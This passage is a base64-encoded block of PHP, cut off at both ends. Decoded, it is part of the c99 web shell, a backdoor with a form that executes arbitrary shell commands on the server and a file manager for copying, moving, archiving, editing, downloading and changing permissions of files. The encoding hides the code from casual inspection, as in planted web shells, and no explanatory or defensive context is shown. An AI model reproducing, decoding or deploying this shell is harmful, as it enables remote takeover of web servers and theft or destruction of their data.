yYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRhY3Rib3gpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiOyB9DQogZWxzZWlmICgkYWN0ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9DQogZWxzZWlmICgkYWN0ID09ICJ1bnNlbGVjdCIpIHtmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0gZm9yZWFjaCAoJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fSBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiO30NCiBpZiAoJGFjdGVtcHR5YnVmZikgeyRzZXNzX2RhdGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpO30NCiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpDQogew0KICAkcHN0ZXJyID0gIiI7DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19jb3B5X29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9DQogIH0NCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpDQogIHsNCiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgfQ0KICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgJGFjdCA9ICJscyI7DQogfQ0KIGVsc2VpZiAoJGFjdGFyY2J1ZmYpDQogew0KICAkYXJjZXJyID0gIiI7DQogIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgZWxzZSB7JGV4dCA9ICIudGFyLmd6Ijt9DQogIGlmICgkZXh0ID09ICIudGFyLmd6IikgeyRjbWRsaW5lID0gInRhciBjZnp2Ijt9DQogICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOw0KICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSk7DQogIGZvcmVhY2goJG9iamVjdHMgYXMgJHYpDQogIHsNCiAgICR2ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR2KTsNCiAgIGlmIChzdWJzdHIoJHYsMCxzdHJsZW4oJGQpKSA9PSAkZCkgeyR2ID0gYmFzZW5hbWUoJHYpO30NCiAgIGlmIChpc19kaXIoJHYpKQ0KICAgew0KICAgIGlmIChzdWJzdHIoJHYsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR2IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICR2IC49ICIqIjsNCiAgIH0NCiAgICRjbWRsaW5lIC49ICIgIi4kdjsNCiAgfQ0KICAkdG1wID0gcmVhbHBhdGgoIi4iKTsNCiAgY2hkaXIoJGQpOw0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZGxpbmUpOw0KICBjaGRpcigkdG1wKTsNCiAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9DQogICRyZXQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkcmV0KTsNCiAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0NCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpDQogIHsNCiAgIGlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9DQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICB9DQogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIjxiPkFyY2hpdmF0aW9uIGVycm9yczo8L2I+PGJyPiIuJGFyY2Vycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpDQogew0KICAkcHN0ZXJyID0gIiI7DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19jb3B5X29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgfQ0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogIH0NCiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCn0NCmlmICgkYWN0ID09ICJjbWQiKQ0Kew0KaWYgKHRyaW0oJGNtZCkgPT0gInBzIC1hdXgiKSB7JGFjdCA9ICJwc19hdXgiO30NCmVsc2UNCnsNCiBAY2hkaXIoJGNoZGlyKTsNCiBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIGNvbW1hbmQ8L2I+Ojxicj4iOw0KICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgQGNoZGlyKCRkKTsNCiAgJHJldCA9IG15c2hlbGxleGVjKCRjbWQpOw0KICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogIGlmICgkY21kX3R4dCkNCiAgew0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7DQogIH0NCiAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogIEBjaGRpcigkb2xkZGlyKTsNCiB9DQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIGNvbW1hbmQ8L2I+IjsgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gdHJ1ZTt9fQ0KIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuImFjdD1jbWRcIiBtZXRob2Q9XCJQT1NUXCI+PHRleHRhcmVhIG5hbWU9XCJjbWRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGNtZF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7DQp9DQp9DQppZiAoJGFjdCA9PSAibHMiKQ0Kew0KIGlmIChjb3VudCgkbHNfYXJyKSA+IDApIHskbGlzdCA9ICRsc19hcnI7fQ0KIGVsc2UNCiB7DQogICRsaXN0ID0gYXJyYXkoKTsNCiAgaWYgKCRoID0gQG9wZW5kaXIoJGQpKQ0KICB7DQogICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgeyRsaXN0W10gPSAkZC4kbzt9DQogICBjbG9zZWRpcigkaCk7DQogIH0NCiB9DQogaWYgKGNvdW50KCRsaXN0KSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBvcGVuIGRpcmVjdG9yeSAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2I+PC9jZW50ZXI+Ijt9DQogZWxzZQ0KIHsNCiAgLy9CdWlsZGluZyBhcnJheQ0KICAkb2JqZWN0cyA9IGFycmF5KCk7DQogICR2ZCA9ICJmIjsgLy9WaWV3aW5nIG1vZGUNCiAgaWYgKCR2ZCA9PSAiZiIpDQogIHsNCiAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgJG9iamVjdHNbImRpcnMiXSA9IGFycmF5KCk7DQogICAkb2JqZWN0c1sibGlua3MiXSA9IGFycmF5KCk7DQogICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7DQogICBmb3JlYWNoICgkbGlzdCBhcyAkdikNCiAgIHsNCiAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAkcm93ID0gYXJyYXkoKTsNCiAgICBpZiAoJG8gPT0gIi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJMSU5LIjt9DQogICAgZWxzZWlmICgkbyA9PSAiLi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJMSU5LIjt9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKQ0KICAgIHsNCiAgICAgaWYgKGlzX2xpbmsoJHYpKSB7JHR5cGUgPSAiTElOSyI7fQ0KICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30NCiAgICAgJHJvd1tdID0gJHY7DQogICAgICRyb3dbXSA9ICR0eXBlOw0KICAgIH0NCiAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30NCiAgICAkcm93W10gPSBmaWxlbXRpbWUoJHYpOw0KICAgIGlmICghJHdpbikNCiAgICB7DQogICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHYpKTsNCiAgICAgJGdyID0gQHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkdikpOw0KICAgICAkcm93W10gPSAkb3dbIm5hbWUiXS4iLyIuJGdyWyJuYW1lIl07DQogICAgICRyb3dbXSA9IGZpbGVvd25lcigkdikuIi8iLmZpbGVncm91cCgkdik7DQogICAgfQ0KICAgICRyb3dbXSA9IGZpbGVwZXJtcygkdik7DQogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskb2JqZWN0c1sibGlua3MiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JG9iamVjdHNbImRpcnMiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAkcm93O30NCiAgIH0NCiAgICRyb3cgPSBhcnJheSgpOw0KICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsNCiAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7DQogICAkcm93W10gPSAiPGI+TW9kaWZ5PC9iPiI7DQogICBpZiAoISR3aW4pDQogIHskcm93W10gPSAiPGI+T3duZXIvR3JvdXA8L2I+Ijt9DQogICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsNCiAgICRyb3dbXSA9ICI8Yj5BY3Rpb248L2I+IjsNCiAgICRrID0gJHNvcnRbMF07DQogICBpZiAoIWlzX251bWVyaWMoJGspKSB7JGsgPSAkc29ydFswXSA9IDA7fQ0KICAgaWYgKCRzb3J0WzFdICE9ICJhIikgeyRzb3J0WzFdID0gImQiO30NCiAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRzb3J0WzFdID09ICJhIj8iZCI6ImEiKS4iXCI+IjsNCiAgICR5IC49ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJcIiBib3JkZXI9XCIwXCI+PC9hPiI7DQogICAkcm93WyRrXSAuPSAkeTsNCiAgIGZvcigkaT0wOyRpPGNvdW50KCRyb3cpLTE7JGkrKykNCiAgIHsNCiAgICBpZiAoJGkgIT0gJGspIHskcm93WyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRpLiRzb3J0WzFdLiJcIj4iLiRyb3dbJGldLiI8L2E+Ijt9DQogICB9DQogICAkdiA9ICRzb3J0WzBdOw0KICAgdXNvcnQoJG9iamVjdHNbImRpcnMiXSwgInRhYnNvcnQiKTsNCiAgIHVzb3J0KCRvYmplY3RzWyJsaW5rcyJdLCAidGFic29ydCIpOw0KICAgdXNvcnQoJG9iamVjdHNbImZpbGVzIl0sICJ0YWJzb3J0Iik7DQogICBpZiAoJHNvcnRbMV0gPT0gImQiKQ0KICAgew0KICAgICRvYmplY3RzWyJkaXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzW2RpcnNdKTsNCiAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbZmlsZXNdKTsNCiAgIH0NCiAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwkb2JqZWN0c1siZGlycyJdLCRvYmplY3RzWyJsaW5rcyJdLCRvYmplY3RzWyJmaWxlcyJdKTsNCiAgICR0YWIgPSBhcnJheSgpOw0KICAgJHRhYlsiY29scyJdID0gYXJyYXkoJHJvdyk7DQogICAkdGFiWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgJHRhYlsiZGlycyJdID0gYXJyYXkoKTsNCiAgICR0YWJbImxpbmtzIl0gPSBhcnJheSgpOw0KICAgJHRhYlsiZmlsZXMiXSA9IGFycmF5KCk7DQogICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkYSkNCiAgIHsNCiAgICAkdiA9ICRhWzBdOw0KICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICRkaXIgPSBkaXJuYW1lKCR2KTsNCiAgICBpZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9DQogICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICRkaXNwcGF0aCA9IHN0cjJtaW5pKCRkaXNwcGF0aCw2MCk7DQogICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30NCiAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICBmb3JlYWNoICgkcmVneHBfaGlnaGxpZ2h0IGFzICRyKQ0KICAgIHsNCiAgICAgaWYgKGVyZWcoJHJbMF0sJG8pKQ0KICAgICB7DQogICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZCI7IGV4aXQ7fQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgICRyWzFdID0gcm91bmQoJHJbMV0pOw0KICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgaWYgKCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFuZCAhJGlzZGlyKSBvciAoKCRyWzFdID09IDIpIGFuZCAhJGlzZGlyKSkNCiAgICAgICB7DQogICAgICAgIGlmIChlbXB0eSgkclsyXSkpIHskclsyXSA9ICI8Yj4iOyAkclszXSA9ICI8L2I+Ijt9DQogICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgaWYgKCRyWzRdKSB7YnJlYWs7fQ0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgICAkdW8gPSB1cmxlbmNvZGUoJG8pOw0KICAgICR1ZCA9IHVybGVuY29kZSgkZGlyKTsNCiAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICRyb3cgPSBhcnJheSgpOw0KICAgIGlmICgkbyA9PSAiLiIpDQogICAgew0KICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIlwiPiIuJG8uIjwvYT4iOw0KICAgICAkcm93W10gPSAiTElOSyI7DQogICAgfQ0KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikNCiAgICB7DQogICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOw0KICAgICAkcm93W10gPSAiTElOSyI7DQogICAgfQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkNCiAgICB7DQogICAgIGlmIChpc19saW5rKCR2KSkNCiAgICAgew0KICAgICAgJGRpc3BwYXRoIC49ICIgPT4gIi5yZWFkbGluaygkdik7DQogICAgICAkdHlwZSA9ICJMSU5LIjsNCiAgICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgIH0NCiAgICAgZWxzZQ0KICAgICB7DQogICAgICAkdHlwZSA9ICJESVIiOw0KICAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgfQ0KICAgICAkcm93W10gPSAkdHlwZTsNCiAgICB9DQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKQ0KICAgIHsNCiAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsNCiAgICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZD0iLiR1ZC4iJlwiPiIuJGRpc3BwYXRoLiI8L2E+IjsNCiAgICAgJHJvd1tdID0gdmlld19zaXplKCRhWzFdKTsNCiAgICB9DQogICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsNCiAgICBpZiAoISR3aW4pIHskcm93W10gPSAkYVszXTt9DQogICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPjxiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYj48L2E+IjsNCiAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWQmZD0iLiR1di4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCI+Ijt9DQogICAgZWxzZSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9aW5mbyZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWVkaXQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJDaGFuZ2VcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1cIkRvd25sb2FkXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgaWQ9XCJsc19kaXJbXVwiIG5hbWU9XCJhY3Rib3hbXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCI+Ijt9DQogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyR0YWJbaGVhZF1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskdGFiWyJsaW5rcyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJkaXJzIl1bXSA9ICRyb3c7fQ0KICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskdGFiWyJmaWxlcyJdW10gPSAkcm93O30NCiAgIH0NCiAgfQ0KICAvL0NvbXBpbGluZyB0YWJsZQ0KICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImRpcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOw0KICBlY2hvICI8Y2VudGVyPjxiPkxpc3RpbmcgZGlyZWN0b3J5ICgiLmNvdW50KCR0YWJbImZpbGVzIl0pLiIgZmlsZXMgYW5kICIuKGNvdW50KCR0YWJbImRpcnMiXSkrY291bnQoJHRhYlsibGlua3MiXSkpLiIgZGlyZWN0b3JpZXMpOjwvYj48L2NlbnRlcj48YnI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0xMDAlIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTA+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPiI7DQogIGZvcmVhY2goJHRhYmxlIGFzICRyb3cpDQogIHsNCiAgIGVjaG8gIjx0cj5cclxuIjsNCiAgIGZvcmVhY2goJHJvdyBhcyAkdikge2VjaG8gIjx0ZD4iLiR2LiI8L3RkPlxyXG4iO30NCiAgIGVjaG8gIjwvdHI+XHJcbiI7DQogIH0NCiAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj48Yj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj4iOw0KICBpZiAoY291bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKSkgPiAwIGFuZCAoJHVzZWZzYnVmZikpDQogIHsNCiAgIGVjaG8gIjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cImFjdGFyY2J1ZmZcIiB2YWx1ZT1cIlBhY2sgYnVmZmVyIHRvIGFyY2hpdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiYWN0YXJjYnVmZl9wYXRoXCIgdmFsdWU9XCJhcmNoaXZlXyIuc3Vic3RyKG1kNShyYW5kKDEsMTAwMCkucmFuZCgxLDEwMDApKSwwLDUpLiIudGFyLmd6XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cImFjdGVtcHR5YnVmZlwiIHZhbHVlPVwiRW1wdHkgYnVmZmVyXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgfQ0KICBlY2hvICI8c2VsZWN0IG5hbWU9XCJhY3RcIj48b3B0aW9uIHZhbHVlPVwiIi4kYWN0LiJcIj5XaXRoIHNl